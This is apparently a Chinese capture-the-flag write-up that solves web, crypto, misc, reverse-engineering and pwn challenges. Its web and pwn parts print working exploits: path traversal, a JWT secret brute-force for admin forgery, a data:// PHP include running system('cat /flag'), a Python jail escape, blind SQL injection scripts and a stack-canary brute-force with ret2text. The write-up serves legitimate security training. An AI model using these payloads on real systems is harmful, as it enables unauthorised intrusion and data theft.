Web
这“照片”是你吗
提示可能存在路径穿越漏洞。
看到 Server 头为 Werkzeug/3.0.4 Python/3.12.6 可以推测服务使用 Flask 编写,用 Postman 访问(浏览器会自动转义 .. 到上一层目录)/../app.py 获取到了源码。

源码中暴露了一个账户,登录拿到 Token。
在 L12 可以发现 JWT 的 Secret Key 是六位数字,可以写个脚本爆破出来:
import jwt
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYW1peWEiLCJleHAiOjE3MjgyNjgyMjh9.7bZ7AcmjMh9lAfuESuQy3Fm8E0POxpzkqWX4N3C680w"
for i in range(0, 10000000):
secret_key = f"{i:06}"
try:
payload = jwt.decode(token, secret_key, algorithms=["HS256"])
print(secret_key)
except:
pass
输出内容即为密钥,用这个密钥修改 JWT 的 Payload 为 admin 后可获取管理员权限。
然后发现这个文件大概没有什么可以利用的内容了,注意到 flag 包中导入了一个函数,则 ../flag.py 应该存在,我们再来访问看看:

可以看到存在另一个服务输出 Flag,这下思路就明晰了。用主服务的 /execute 加上 admin 的 Token 即可访问该接口。
Include Me
文件包含漏洞。封了一些常见的伪协议,但是 data:// 没有封,我们可以把 Payload 用 Base64 编码后发送过去。
Payload
<?php
system('cat /flag');
?>>
---------
// PD9waHAgCnN5c3RlbSgnY2F0IC9mbGFnJyk7ICAgCj8+
// ?me=data://text/plain;base64,PD9waHAgCnN5c3RlbSgnY2F0IC9mbGFnJyk7ICAgCj8+
注意代码中的空格和最后的 >>,不然解析会失败或者 Base64 出 = 被拦截。
臭皮的计算机
算 PyJail 吧,禁用了 [a-zA-Z] 。可以使用 Unicode 来绕过。
Payload
[].𝘤𝘭𝘢𝘴𝘴.𝘮𝘳𝘰[-1].𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴()[99].𝘥𝘪𝘤𝘵[().𝘥𝘰𝘤[38] + ().𝘥𝘰𝘤[92] + ().𝘥𝘰𝘤[4] + ”.𝘥𝘰𝘤[31] + ”.𝘥𝘰𝘤[189:193]](0, ‘/’ + ”.𝘥𝘰𝘤[37] + ”.𝘥𝘰𝘤[208] + ”.𝘥𝘰𝘤[76] + ”.𝘥𝘰𝘤[51])
blindsql1
用最笨的方法一个一个字符爆破。
Alice'&&!((SELECT(count(table_name))FROM(information_schema.tables)WHERE!(table_schema<>DATABASE()))<>3)#
// 说明数据库内表的数量为 3
Alice'&&!((SELECT(count(table_name))FROM(information_schema.tables)WHERE(!(table_schema<>DATABASE())&&!(mid((table_name)from(1)for(7))<>'secrets')))<>1)#
Alice'&&!(length((SELECT(table_name)FROM(information_schema.tables)WHERE(!(table_schema<>DATABASE())&&!(mid((table_name)from(1)for(7))<>'secrets'))))<>7)#
// 一个表名字为 secrets
Alice'&&((SELECT(count(column_name))FROM(information_schema.columns)WHERE((!(table_name<>'secrets')))&&!(mid((column_name)from(1)for(7))<>'secret_'))>1)#
// 两个字段名称以 secret_ 开头
// 继续爆破得到 secret_key 和 secret_value,Flag 应该藏在 secret_value 中
import requests
payload = "Alice'&&(SELECT(count(secret_value))FROM(secrets)WHERE(!(mid((secret_value)from(1)for(%d))<>'%s')))>0#"
def bruteforce():
j = 1
flag = ""
while True:
for i in range(33, 127): # 在可见字符中爆破,但是可能会被 WAF。不过本题的 Flag 没有这种顾虑。
result = requests.get("http://eci-2ze9z0kumdo3plozqby9.cloudeci1.ichunqiu.com", params={"student_name": payload % (j, flag + chr(i))})
if "Alice" in result.text:
j += 1
flag += chr(i)
print(flag)
if chr(i) == '}':
print(flag)
return
break
bruteforce()
Crypto
故事新编1
Vigenere Solver | guballa.de,Classical Vigenere
故事新编2
Vigenere Solver | guballa.de,Autokey Vigenere
两只黄鹂鸣翠柳
注意到 m1 和 m2 的线性特征,可以推断是 Franklin Reiter’s Relate Message Attack。
网上找脚本糊了一个出来:
#sagemath
from Crypto.Util.number import *
def franklinReiter(n,e,r,c1,c2):
R.<X> = Zmod(n)[]
f1 = X^e - c1
f2 = (X + r)^e - c2
return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0])
def compositeModulusGCD(a, b):
if(b == 0):
return a.monic()
else:
return compositeModulusGCD(b, a % b)
dicionary = {}
def gs(k, lazyv):
# cache all the results to speed up
if k in dicionary:
return dicionary[k]
else:
dicionary[k] = lazyv()
return dicionary[k]
def testFranklinReiter():
e = 683
c1 = 56853945083742777151835031127085909289912817644412648006229138906930565421892378967519263900695394136817683446007470305162870097813202468748688129362479266925957012681301414819970269973650684451738803658589294058625694805490606063729675884839653992735321514315629212636876171499519363523608999887425726764249
c2 = 89525609620932397106566856236086132400485172135214174799072934348236088959961943962724231813882442035846313820099772671290019212756417758068415966039157070499263567121772463544541730483766001321510822285099385342314147217002453558227066228845624286511538065701168003387942898754314450759220468473833228762416
n = 147146340154745985154200417058618375509429599847435251644724920667387711123859666574574555771448231548273485628643446732044692508506300681049465249342648733075298434604272203349484744618070620447136333438842371753842299030085718481197229655334445095544366125552367692411589662686093931538970765914004878579967
delta = 93400488537789082145777768934799642730988732687780405889371778084733689728835104694467426911976028935748405411688535952655119354582508139665395171450775071909328192306339433470956958987928467659858731316115874663323404280639312245482055741486933758398266423824044429533774224701791874211606968507262504865993
for r in range(0, 256):
print(r)
for r2 in range(r, 256):
recoveredM = gs(r2 - r, lambda: franklinReiter(n,e, ((r2 - r) * delta) % n, min(c1, c2), max(c1, c2)))
recoveredM2 = gs(r - r2, lambda: franklinReiter(n,e, ((r - r2) * delta) % n, min(c1, c2), max(c1, c2)))
t = long_to_bytes((recoveredM - (delta * r)) % n) + long_to_bytes((recoveredM - (delta * r2)) % n) + long_to_bytes((recoveredM2 - (delta * r)) % n) + long_to_bytes((recoveredM2 - (delta * r2)) % n)
if b'flag' in t:
print(long_to_bytes((recoveredM - (delta * r)) % n) + long_to_bytes((recoveredM - (delta * r2)) % n) + long_to_bytes((recoveredM2 - (delta * r)) % n) + long_to_bytes((recoveredM2 - (delta * r2)) % n))
return
testFranklinReiter()
不用谢喵
一个 AES trick,注意到用 CBC 加密后再用 EBC 解密。
原理见 https://aes.cryptohack.org/ecbcbcwtf
def strxor(a, b):
if len(a) > len(b):
return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)])
else:
return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])])
a = "f2040fe3063a5b6c65f66e1d2bf47b4cddb206e4ddcf7524932d25e92d57d3468398730b59df851cbac6d65073f9e138"
iv = a.decode('hex')[:32]
cipher = a.decode('hex')[32:]
c_hex = cipher.encode('hex')
b = "f9899749fec184d81afecd35da430bc394686e847d72141b3a955a4f6e920e7d91cb599d92ba2a6ba51860bb5b32f23b"[32:]
p_0 = b.decode('hex')[:32]
p_1 = b.decode('hex')[32:]
actual1 = strxor(iv, p_0)
actual2 = strxor(cipher[:32], p_1)
print (actual1+actual2)
print p_1.encode('hex')
没e这能玩?
难点是解一个离散对数方程,可以用 sympy.discrete_log 函数。(不知道 sympy 做了什么优化,其他同样原理的方法时间都爆了,,)
import gmpy2
import sympy
from Crypto.Util.number import long_to_bytes
r = 10457194869353593100177834984530743371730082196597132299112004173986134317902326819633405971492147254575586164057393393898548415838816927385666152840961767
q = 10501863154525380899885393651734595340401622693414265402191855789807170977044584937255025740961595981958235238915269093897387769735490697411913603370485999
p = 10183677214652023044474780341271224480860741865271128462400237861954731862671046572481587003643951915319746511716779405224320633957652210335830783097185731
t = 2 ** 512
base = 10340528340717085562564282159472606844701680435801531596688324657589080212070472855731542530063656135954245247693866580524183340161718349111409099098622379
hint = 1117823254118009923270987314972815939020676918543320218102525712576467969401820234222225849595448982263008967497960941694470967789623418862506421153355571
e = sympy.discrete_log(t, hint, base)
c = 999238457633695875390868312148578206874085180328729864031502769160746939370358067645058746087858200698064715590068454781908941878234704745231616472500544299489072907525181954130042610756999951629214871917553371147513692253221476798612645630242018686268404850587754814930425513225710788525640827779311258012457828152843350882248473911459816471101547263923065978812349463656784597759143314955463199850172786928389414560476327593199154879575312027425152329247656310
n = p*q*r
d = gmpy2.invert(e, (p - 1) * (q - 1) * (r - 1))
m = pow(c, d, n)
print(long_to_bytes(m))
Misc
ez_jail
大概算 UB 解法,C++ 支持全局变量动态执行函数,使用定义全局变量的方式输出 Hello, World! 。
剩下要做的就是找一个函数,要求:
- 不被 SECCOMP 拦截
- 不接受任何参数
最后我们找到 locale.h 中的 localeconv 函数符合要求。
Payload
int a = printf("Hello, World!\n");
auto* user_code = &localeconv;
// aW50IGEgPSBwcmludGYoIkhlbGxvLCBXb3JsZCFcbiIpOw0KYXV0byogdXNlcl9jb2RlID0gJmxvY2FsZWNvbnY7
BGM 坏了吗?
https://github.com/ribt/dtmf-decoder
裁剪出来选择右声道模式 -r 识别会更准确一点。
OSINT Master
首先看图上信息 B-2419,搜索显示是东航的飞机。
根据照片拍摄时间找到飞行记录,得到航班号和经纬度。
工具:Flightaware(可能需要注册)。
Reverse
simpleAndroid
首先扔进 jadx 里反编译,得到判断函数定义在 CheckActivity 中。

我们把 libsimpleandroid.so 扔进 IDA 中反编译,找到 CheckData 函数。

大概加密过程是这样的,注意在 Native 层修改了 UseLess.CHAR_DATA 的内容。
UseLess.func 是典型的 Base64 加密函数。
Exploit
import base64
encrypted = [
0xB2, 0x74, 0x45, 0x16, 0x47, 0x34, 0x95, 0x36, 0x17, 0xF4,
0x43, 0x95, 0x03, 0xD6, 0x33, 0x95, 0xC6, 0xD6, 0x33, 0x36,
0xA7, 0x35, 0xE6, 0x36, 0x96, 0x57, 0x43, 0x16, 0x96, 0x97,
0xE6, 0x16
]
table = 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/A'
original_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
transtab = str.maketrans(table, original_table)
b64 = bytes(map(lambda v: ((v & 0x0F) << 4) | ((v & 0xF0) >> 4), encrypted))[::-1].decode().translate(transtab)
print(base64.b64decode(b64))
SMC_math
在 encrypt 被解密后的地方下断点,可以直接得到函数(彩 虹):

七个未知数七个方程,z3 直接梭。 解完拼 flag 尸块就好了。
Exploit
from Crypto.Util.number import *
from z3 import *
rax_3, rax_7, rax_11, rax_15, rax_19, rax_23, rax_27 = Ints('rax_3 rax_7 rax_11 rax_15 rax_19 rax_23 rax_27')
s = Solver()
s.add(((((((rax_3 + rax_7) * 5) + (rax_11 * 4)) + (rax_15 * 6)) + rax_19) + ((rax_23 * 2) + (rax_27 * 9))) == 0xd5cc7d4ff)
s.add((((((rax_3 * 9) + (rax_7 * 0xa)) + ((rax_11 * 6) + (rax_15 * 3))) + ((rax_19 * 3) + (rax_23 * 9))) + (rax_27 * 4)) == 0x102335844b)
s.add(((((rax_3 * 4) + (rax_7 * 5)) + (((rax_11 + rax_15) * 4) + (rax_19 * 9))) + ((rax_23 * 0xa) + (rax_27 * 3))) == 0xd55aeabb9)
s.add((((rax_3 * 5) + (rax_7 * 9)) + (((rax_23 + (((rax_15 * 2) + (rax_19 * 5)) + rax_11)) * 2) + (rax_27 * 9))) == 0xf89f6b7fa)
s.add((((((rax_3 * 7) + (rax_7 * 2)) + rax_11) + ((rax_15 * 9) + (rax_19 * 5))) + ((rax_23 * 9) + (rax_27 * 3))) == 0xd5230b80b)
s.add((((((rax_3 * 6) + (rax_7 * 5)) + ((rax_11 * 0xa) + (rax_15 * 6))) + ((rax_19 * 9) + (rax_23 * 3))) + (rax_27 * 8)) == 0x11e28ed873)
s.add((((((((rax_15 * 2) + (rax_7 + rax_11)) * 4) + (rax_19 * 9)) + rax_3) + rax_23) + (rax_27 * 3)) == 0xb353c03e1)
print(s.check())
m = s.model()
for i in m:
print(long_to_bytes(m[i].as_long()).decode()[::-1])
011vm
首先装上 D-810 插件,注意 Python 版本要大于 3.7 。
然后照着教程 Unflat 代码。然并卵,出来的结果还是依托史(可能是我方法不对)。
然后就开始死亡审计代码,注意到这个部分。

是不是很像 TEA 加密?没错他就是 TEA 加密。
然后开启调试下在此处断点,直接找到 Key 位置和加密后的 Flag 位置。

然后就是公公又式式的 TEA 解密时间了。
flowering_shrubs

借这题搞懂了下花指令。
把 General-Options-Stack pointer 勾选上可以看到代码段的栈指针,花指令会使栈不平衡,我们需要移除所有导致栈不平衡的语句。
按 Tab 到 Text View,找到所有 sp-analysis failed 的地方。

Ctrl+N(可能要装插件) Nop 掉所有选中的语句。把所有相同的地方都 Nop 掉,重新反编译得到加密段。

其中 rand_0 函数会随机生成一个 [0, 36] 内 4 的倍数,即加密是以四个字符一组进行加密的。且生成的数不会重复。
Exploit
#include <cstdio>
char* keys = "uarefirst.";
void decrypt(unsigned char* data, char key) {
data[0] ^= data[3];
data[3] ^= data[2];
data[2] += key;
data[2] ^= data[1];
data[1] -= key;
data[1] ^= data[0];
data[0] ^= key;
printf("%c%c%c%c", (char)data[0], (char)data[1], (char)data[2], (char)data[3]);
}
int main() {
for (int i = 0; i <= 9; ++i) {
for (int j = 0; j <= 9; ++j) {
unsigned char data[] =
{
0x54, 0xF4, 0x20, 0x47, 0xFC, 0xC4, 0x93, 0xE6, 0x39, 0xE0,
0x6E, 0x00, 0xA5, 0x6E, 0xAA, 0x9F, 0x7A, 0xA1, 0x66, 0x39,
0x76, 0xB7, 0x67, 0x57, 0x3D, 0x95, 0x61, 0x22, 0x55, 0xC9,
0x3B, 0x4E, 0x4F, 0xE8, 0x66, 0x08, 0x3D, 0x50, 0x43, 0x3E
};
decrypt(&data[i * 4], keys[j]);
printf(".");
}
printf("\n==========\n");
}
return 0;
}
执行后根据语义和限制条件拼 Flag 尸块即可。

SecretsOfKawaii
用 JEB 打开安装包,查看 MainActivity 逻辑。发现调用 RC4.encodeText(input, "rc4k4y")。

再用 UPX 脱壳 libmeow1.so,查看 check 函数逻辑,发现是一个 XXTEA 加密。直接套解密脚本(注意修改 MX 的数据)可以解出来。s
#include <cstdio>
#include <cstdint>
#define MX (((z ^ key[e ^ p & 3]) + (y ^ sum)) ^ (((4 * z) ^ (y >> 3)) + ((8 * y) ^ (z >> 5))))
#define DELTA 559038737
char* key = "meow~meow~tea~~~";
void btea_decrypt(uint32_t * v, int n, uint32_t const key[4]) {
uint32_t y, z, sum; unsigned p, rounds, e;
rounds = 6 + 52 / n;
sum = rounds * -DELTA;
y = v[0];
do {
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--) {
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum += DELTA;
} while (-- rounds );
}
int main() {
unsigned char secrets[] =
{
0xDF, 0xD3, 0x12, 0x8C, 0x37, 0x41, 0x4C, 0x5F, 0x02, 0x3D,
0x9D, 0x1A, 0xB7, 0x94, 0x12, 0x2D, 0x37, 0x2B, 0x62, 0xFB,
0xE3, 0x84, 0x8D, 0xD1, 0x92, 0x45, 0x4C, 0x06, 0xAB, 0x5C,
0x98, 0x16, 0x69, 0x6D, 0xB0, 0xFD, 0xE3, 0xB1, 0x30, 0xFB,
0xD3, 0x2F, 0x5C, 0x92, 0x0C, 0xB4, 0x1B, 0x2E
};
btea_decrypt((uint32_t *)secrets, 12, (uint32_t*)key);
for (int i = 0; i < 48; ++i) {
printf("%02x ", secrets[i]);
}
printf("\n");
for (int i = 0; i < 48; ++i) {
printf("%c", secrets[i]);
}
return 0;
}


Pwn
ez_canary
Canary 爆破和 ret2text 。
按字节一个个去爆破,如果进程被 Canary 杀了(stack smashing...)就代表不是这个字节。
from pwn import *
binary = './ezcanary'
p = remote("8.147.129.74", 34848)
canary = b'\x00'
print("leaking canary...")
context.log_level = "debug"
for j in range(7):
for i in range(0x100):
p.recvuntil("我保护开了这么多".encode())
p.recvuntil("想必我的程序一定很安全吧ε=ε=ε=(~ ̄▽ ̄)~".encode())
p.recvuntil("你觉得呢?\n".encode())
p.send(b'a' * 88 + canary + i.to_bytes())
result1 = p.recvuntil(b"\n")
if not b"smash" in result1:
p.sendline()
canary += i.to_bytes()
print('canary: ', canary.hex())
break
p.recvuntil(b"\n")
p.sendline()
print('canary: ', canary.hex())
if not b'flag is one_by_one_bruteforce' in p.recv():
p.sendline(b'cat flag')
if not b'flag is one_by_one_bruteforce' in p.recv():
p.sendline(b'cat flag')
p.send(b'a' * (0xa8-0x50) + canary + p64(0x40124F) + p64(0x40124F))
p.interactive()
